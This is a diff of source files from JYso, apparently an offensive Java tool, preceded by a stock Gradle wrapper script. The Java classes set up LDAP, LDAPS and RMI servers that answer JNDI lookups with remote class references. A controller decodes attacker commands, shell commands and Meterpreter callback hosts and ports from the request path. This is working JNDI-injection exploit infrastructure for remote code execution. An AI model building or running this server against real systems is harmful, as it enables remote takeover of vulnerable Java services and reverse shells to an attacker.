for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if %ERRORLEVEL% equ 0 goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
set EXIT_CODE=%ERRORLEVEL%
|
||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%"=="" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%"=="" set DIRNAME=.
|
||||
@rem This is normally unused
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if %ERRORLEVEL% equ 0 goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
set EXIT_CODE=%ERRORLEVEL%
|
||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
rootProject.name = 'JYso'
|
||||
rootProject.name = 'JYso'
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,122 +1,122 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.controllers.LdapController;
|
||||
import com.qi4l.JYso.controllers.LdapMapping;
|
||||
import com.qi4l.JYso.controllers.utils.JNDIUtils;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import javax.net.ServerSocketFactory;
|
||||
import javax.net.SocketFactory;
|
||||
import javax.net.ssl.SSLSocketFactory;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.InetAddress;
|
||||
import java.util.Set;
|
||||
import java.util.TreeMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
public class LdapServer extends InMemoryOperationInterceptor {
|
||||
|
||||
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
||||
|
||||
public LdapServer() throws Exception {
|
||||
|
||||
//find all classes annotated with @LdapMapping
|
||||
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
||||
.getTypesAnnotatedWith(LdapMapping.class);
|
||||
|
||||
//instantiate them and store in the routes map
|
||||
for (Class<?> controller : controllers) {
|
||||
Constructor<?> cons = controller.getConstructor();
|
||||
LdapController instance = (LdapController) cons.newInstance();
|
||||
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
||||
for (String mapping : mappings) {
|
||||
if (mapping.startsWith("/")) {
|
||||
mapping = mapping.substring(1); //remove first forward slash
|
||||
routes.put(mapping, instance);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
try {
|
||||
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||
|
||||
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
||||
"listen",
|
||||
InetAddress.getByName("0.0.0.0"),
|
||||
Config.ldapPort,
|
||||
ServerSocketFactory.getDefault(),
|
||||
SocketFactory.getDefault(),
|
||||
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||
|
||||
if (!USER.equals("") || !PASSWD.equals("")) {
|
||||
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
||||
}
|
||||
|
||||
//添加操作拦截器
|
||||
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
||||
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
||||
ds.startListening();
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
||||
String base;
|
||||
if (!ROUTE.equals("")) {
|
||||
base = ROUTE;
|
||||
} else {
|
||||
base = result.getRequest().getBaseDN();
|
||||
}
|
||||
try {
|
||||
if (!AESkey.equals("123")) {
|
||||
base = base64Decode(base);
|
||||
base = JNDIUtils.decrypt(base, AESkey);
|
||||
}
|
||||
} catch (Exception AESerr) {
|
||||
|
||||
}
|
||||
|
||||
//收到ldap请求
|
||||
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
||||
LdapController controller = null;
|
||||
//find controller
|
||||
//根据请求的路径从route中匹配相应的controller
|
||||
for (String key : routes.keySet()) {
|
||||
//compare using wildcard at the end
|
||||
if (base.toLowerCase().startsWith(key)) {
|
||||
controller = routes.get(key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (controller == null) {
|
||||
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
//从控制器中进行返回
|
||||
controller.process(base);
|
||||
controller.sendResult(result, base);
|
||||
} catch (Exception e1) {
|
||||
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.controllers.LdapController;
|
||||
import com.qi4l.JYso.controllers.LdapMapping;
|
||||
import com.qi4l.JYso.controllers.utils.JNDIUtils;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import javax.net.ServerSocketFactory;
|
||||
import javax.net.SocketFactory;
|
||||
import javax.net.ssl.SSLSocketFactory;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.InetAddress;
|
||||
import java.util.Set;
|
||||
import java.util.TreeMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
public class LdapServer extends InMemoryOperationInterceptor {
|
||||
|
||||
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
||||
|
||||
public LdapServer() throws Exception {
|
||||
|
||||
//find all classes annotated with @LdapMapping
|
||||
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
||||
.getTypesAnnotatedWith(LdapMapping.class);
|
||||
|
||||
//instantiate them and store in the routes map
|
||||
for (Class<?> controller : controllers) {
|
||||
Constructor<?> cons = controller.getConstructor();
|
||||
LdapController instance = (LdapController) cons.newInstance();
|
||||
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
||||
for (String mapping : mappings) {
|
||||
if (mapping.startsWith("/")) {
|
||||
mapping = mapping.substring(1); //remove first forward slash
|
||||
routes.put(mapping, instance);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
try {
|
||||
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||
|
||||
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
||||
"listen",
|
||||
InetAddress.getByName("0.0.0.0"),
|
||||
Config.ldapPort,
|
||||
ServerSocketFactory.getDefault(),
|
||||
SocketFactory.getDefault(),
|
||||
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||
|
||||
if (!USER.equals("") || !PASSWD.equals("")) {
|
||||
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
||||
}
|
||||
|
||||
//添加操作拦截器
|
||||
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
||||
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
||||
ds.startListening();
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "..."));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
||||
String base;
|
||||
if (!ROUTE.equals("")) {
|
||||
base = ROUTE;
|
||||
} else {
|
||||
base = result.getRequest().getBaseDN();
|
||||
}
|
||||
try {
|
||||
if (!AESkey.equals("123")) {
|
||||
base = base64Decode(base);
|
||||
base = JNDIUtils.decrypt(base, AESkey);
|
||||
}
|
||||
} catch (Exception AESerr) {
|
||||
|
||||
}
|
||||
|
||||
//收到ldap请求
|
||||
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
||||
LdapController controller = null;
|
||||
//find controller
|
||||
//根据请求的路径从route中匹配相应的controller
|
||||
for (String key : routes.keySet()) {
|
||||
//compare using wildcard at the end
|
||||
if (base.toLowerCase().startsWith(key)) {
|
||||
controller = routes.get(key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (controller == null) {
|
||||
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
//从控制器中进行返回
|
||||
controller.process(base);
|
||||
controller.sendResult(result, base);
|
||||
} catch (Exception e1) {
|
||||
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,59 +1,59 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.util.ssl.KeyStoreKeyManager;
|
||||
import com.unboundid.util.ssl.SSLUtil;
|
||||
import com.unboundid.util.ssl.TrustAllTrustManager;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
public class LdapsServer {
|
||||
private static final Logger log = LogManager.getLogger(LdapsServer.class);
|
||||
private final String certFile;
|
||||
private final String keyPass;
|
||||
|
||||
public LdapsServer(String certFile, String keyPass) {
|
||||
this.certFile = certFile;
|
||||
this.keyPass = keyPass;
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
||||
new LdapsServer(Config.certFile, Config.keyPass).run();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
// 设置JDK信任证书
|
||||
System.setProperty("javax.net.ssl.trustStore", certFile);
|
||||
System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
|
||||
|
||||
try {
|
||||
SSLUtil serverSSLUtil = new SSLUtil(
|
||||
new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
|
||||
new TrustAllTrustManager()
|
||||
);
|
||||
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
|
||||
|
||||
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
|
||||
"listen-ldaps",
|
||||
null,
|
||||
Integer.parseInt(String.valueOf(Config.ldapsPort)),
|
||||
serverSSLUtil.createSSLServerSocketFactory(),
|
||||
clientSSLUtil.createSSLSocketFactory()
|
||||
));
|
||||
config.addInMemoryOperationInterceptor(new LdapServer());
|
||||
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
|
||||
ds.startListening();
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.util.ssl.KeyStoreKeyManager;
|
||||
import com.unboundid.util.ssl.SSLUtil;
|
||||
import com.unboundid.util.ssl.TrustAllTrustManager;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
public class LdapsServer {
|
||||
private static final Logger log = LogManager.getLogger(LdapsServer.class);
|
||||
private final String certFile;
|
||||
private final String keyPass;
|
||||
|
||||
public LdapsServer(String certFile, String keyPass) {
|
||||
this.certFile = certFile;
|
||||
this.keyPass = keyPass;
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
||||
new LdapsServer(Config.certFile, Config.keyPass).run();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
// 设置JDK信任证书
|
||||
System.setProperty("javax.net.ssl.trustStore", certFile);
|
||||
System.setProperty("javax.net.ssl.trustStorePassword", keyPass);
|
||||
|
||||
try {
|
||||
SSLUtil serverSSLUtil = new SSLUtil(
|
||||
new KeyStoreKeyManager(certFile, keyPass.toCharArray()),
|
||||
new TrustAllTrustManager()
|
||||
);
|
||||
SSLUtil clientSSLUtil = new SSLUtil(new TrustAllTrustManager());
|
||||
|
||||
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||
config.setListenerConfigs(InMemoryListenerConfig.createLDAPSConfig(
|
||||
"listen-ldaps",
|
||||
null,
|
||||
Integer.parseInt(String.valueOf(Config.ldapsPort)),
|
||||
serverSSLUtil.createSSLServerSocketFactory(),
|
||||
clientSSLUtil.createSSLSocketFactory()
|
||||
));
|
||||
config.addInMemoryOperationInterceptor(new LdapServer());
|
||||
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
|
||||
ds.startListening();
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.ldapsPort + "..."));
|
||||
} catch (Exception e) {
|
||||
log.error("e: ", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,41 +1,41 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
|
||||
public class Starter {
|
||||
|
||||
// 用于存储所有的ObjectPayload类
|
||||
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
|
||||
public static boolean JYsoMode = false;
|
||||
|
||||
static {
|
||||
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
||||
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
|
||||
if (args.length > 0 && args[0].equals("-j")) {
|
||||
logo();
|
||||
Config.applyCmdArgs(args);
|
||||
LdapServer.start();
|
||||
HTTPServer.start();
|
||||
if (Config.TLSProxy) {
|
||||
LdapsServer.start();
|
||||
}
|
||||
RMIServer.start();
|
||||
}
|
||||
|
||||
// 如果参数中包含-y,则启动 ysoserial
|
||||
if (args.length > 0 && args[0].equals("-y")) {
|
||||
JYsoMode = true;
|
||||
ysoserial.run(args);
|
||||
}
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
|
||||
public class Starter {
|
||||
|
||||
// 用于存储所有的ObjectPayload类
|
||||
public static CaseInsensitiveMap<String, Class<? extends ObjectPayload<?>>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>();
|
||||
public static boolean JYsoMode = false;
|
||||
|
||||
static {
|
||||
for (Class<? extends ObjectPayload<?>> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
||||
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
|
||||
if (args.length > 0 && args[0].equals("-j")) {
|
||||
logo();
|
||||
Config.applyCmdArgs(args);
|
||||
LdapServer.start();
|
||||
HTTPServer.start();
|
||||
if (Config.TLSProxy) {
|
||||
LdapsServer.start();
|
||||
}
|
||||
RMIServer.start();
|
||||
}
|
||||
|
||||
// 如果参数中包含-y,则启动 ysoserial
|
||||
if (args.length > 0 && args[0].equals("-y")) {
|
||||
JYsoMode = true;
|
||||
ysoserial.run(args);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,173 +1,173 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.URLDNS;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.Meterpreter;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.net.URL;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.util.Locale;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/basic"})
|
||||
public class BasicController implements LdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(BasicController.class);
|
||||
private static String payloadType;
|
||||
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
||||
private final String codebase = Config.codeBase;
|
||||
// 存放从 LDAP 路径中解析出的命令或连接参数。
|
||||
private String[] params = new String[0];
|
||||
private GadgetType gadgetType;
|
||||
|
||||
static String getStringQ(String base, int index) {
|
||||
int cursor = 0;
|
||||
int found = 0;
|
||||
while (cursor < base.length()) {
|
||||
int nextSlash = base.indexOf('/', cursor);
|
||||
if (nextSlash == -1) nextSlash = base.length();
|
||||
|
||||
if (nextSlash > cursor) {
|
||||
if (found == index) {
|
||||
return base.substring(cursor, nextSlash);
|
||||
}
|
||||
found++;
|
||||
}
|
||||
cursor = nextSlash + 1;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry entry = new Entry(base);
|
||||
String className = resolvePayloadClass();
|
||||
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
|
||||
|
||||
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
|
||||
entry.addAttribute("javaClassName", "foo");
|
||||
entry.addAttribute("javaCodeBase", codebase);
|
||||
entry.addAttribute("objectClass", "javaNamingReference");
|
||||
entry.addAttribute("javaFactory", className);
|
||||
result.sendSearchEntry(entry);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
}
|
||||
}
|
||||
|
||||
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI Remote Reference Links ");
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
gadgetType = parseGadgetType(normalized);
|
||||
params = resolveParams(normalized);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
|
||||
// 根据 payload 标识返回需要加载的实现类名称。
|
||||
private String resolvePayloadClass() throws Exception {
|
||||
if (payloadType.contains("E-")) {
|
||||
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
||||
return echoClass.getName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
return Gadgets.createClassB(suffixAfterDash(payloadType));
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
if (params.length == 0) {
|
||||
throw new IncorrectParamsException("Missing command parameters.");
|
||||
}
|
||||
// 待写
|
||||
}
|
||||
|
||||
if (payloadType.contains("msf")) {
|
||||
return Meterpreter.class.getName();
|
||||
}
|
||||
|
||||
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||
}
|
||||
|
||||
// 读取路径中的 gadget 片段并转换为枚举值。
|
||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
// 根据 gadget 类型构建命令行或回连配置参数。
|
||||
private String[] resolveParams(String base) throws Exception {
|
||||
if (gadgetType == null) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
|
||||
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println(" RemoteHost: " + results[0]);
|
||||
System.out.println(" RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
